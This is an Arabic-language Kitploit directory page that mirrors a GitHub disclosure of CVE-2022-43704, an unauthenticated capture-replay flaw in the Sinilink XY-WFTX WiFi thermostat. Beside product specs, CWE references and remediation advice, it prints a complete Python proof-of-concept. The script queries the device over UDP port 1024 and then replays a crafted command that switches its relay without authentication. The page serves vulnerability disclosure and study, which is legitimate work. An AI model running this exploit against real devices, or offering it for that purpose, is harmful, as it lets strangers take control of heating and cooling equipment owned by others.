Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX وحدة تحكم في درجة حرارة الترموستات عبر واي فاي عن بعد | Kitploit
أدوات/GitHubGitHub/9lyph/cve-2022-43704
المصادقة والترخيصأمان الأنظمة المدمجةالتقاط وتحليل الحزمالاستطلاعأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالأمن الشبكات اللاسلكيةاختبار الاختراقأمان الأجهزة وإنترنت الأشياء
GitHub9lyph/cve-2022-43704
525منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-43704

Sinilink XY-WFTX وحدة تحكم في درجة حرارة الترموستات عبر واي فاي عن بعد

عرض المستودع

CVE-2022-43704 - قناة قابلة للوصول من قبل جهة غير طرفية/تجاوز المصادقة عن طريق إعادة تشغيل الالتقاط

Sinilink XY-WFTX وحدة تحكم عن بُعد واي فاي لثيرموستات منظم حرارة

العنوان

sinilink

وثائق المنتج

  • التطبيق

  • دليل المستخدم

الأجهزة

أوراق البيانات

ESP8285

محول خفض الجهد

البرامج الثابتة

وصف المنتج

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

مراجع

MITRE

[Exploit-DB]

الشركة المصنعة

Sinilink.com

البحث

  • يستخدم المنتج websockets لإنشاء اتصال إلى ws://mq.sinilink.com:8085/mqtt.
  • يتم استخدام هذا النقطة الطرفية كوسيط MQTT وهي غير مصادق عليها

خريطة سطح الهجوم

الاكتشاف

قناة قابلة للوصول من قبل جهة غير طرفية

  • يسمح Sinilink WiFi Remote Thermostat الذي يعمل بالبرامج الثابتة V1.3.6 للمهاجم بتجاوز المتطلب المقصود للتواصل باستخدام MQTT، ولكن بدلاً من ذلك يمكن إعادة تشغيل أوامر بروتوكول sinilink بالتفاعل مباشرة مع الجهاز المستهدف. وهذا بدوره يتيح هجومًا للتحكم في المرحل المدمج دون الحاجة إلى المصادقة عبر تطبيق الهاتف المحمول.
  • الجهاز المستهدف يجب أن يكون في 'Manual Mode' مع 'Power On, Close' كشرط مسبق.

الإعداد المسبق

نقاط الضعف

  • CWE-300: قناة قابلة للوصول من قبل جهة غير طرفية
  • CWE-294: تجاوز المصادقة عن طريق إعادة تشغيل الالتقاط

تكوينات البرامج المتأثرة المعروفة

  • V1.3.6

كود الإثبات

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

خطوات المعالجة

  • التحقق بشكل كافٍ من هوية الكيانات في كل طرف من قناة الاتصال. قد يؤدي التحقق غير الكافي أو غير المتسق إلى تحديد غير كافٍ أو غير صحيح لأي من الكيانات المتصلة. يمكن أن يكون لذلك عواقب سلبية مثل وضع الثقة في الكيان الخطأ في الطرف الآخر من القناة. يمكن للمهاجم استغلال ذلك بالتدخل بين الكيانات المتصلة والانتحال كالكيان الأصلي. في غياب التحقق الكافي من الهوية، يمكن لهذا المهاجم التنصت وربما تعديل الاتصال بين الكيانات الأصلية.

الاختراق

المكتشف/الائتمان:

Victor Hanna من Exploit Security

تابعني على

Mastodon Linkedin Youtube

تنزيل الأداة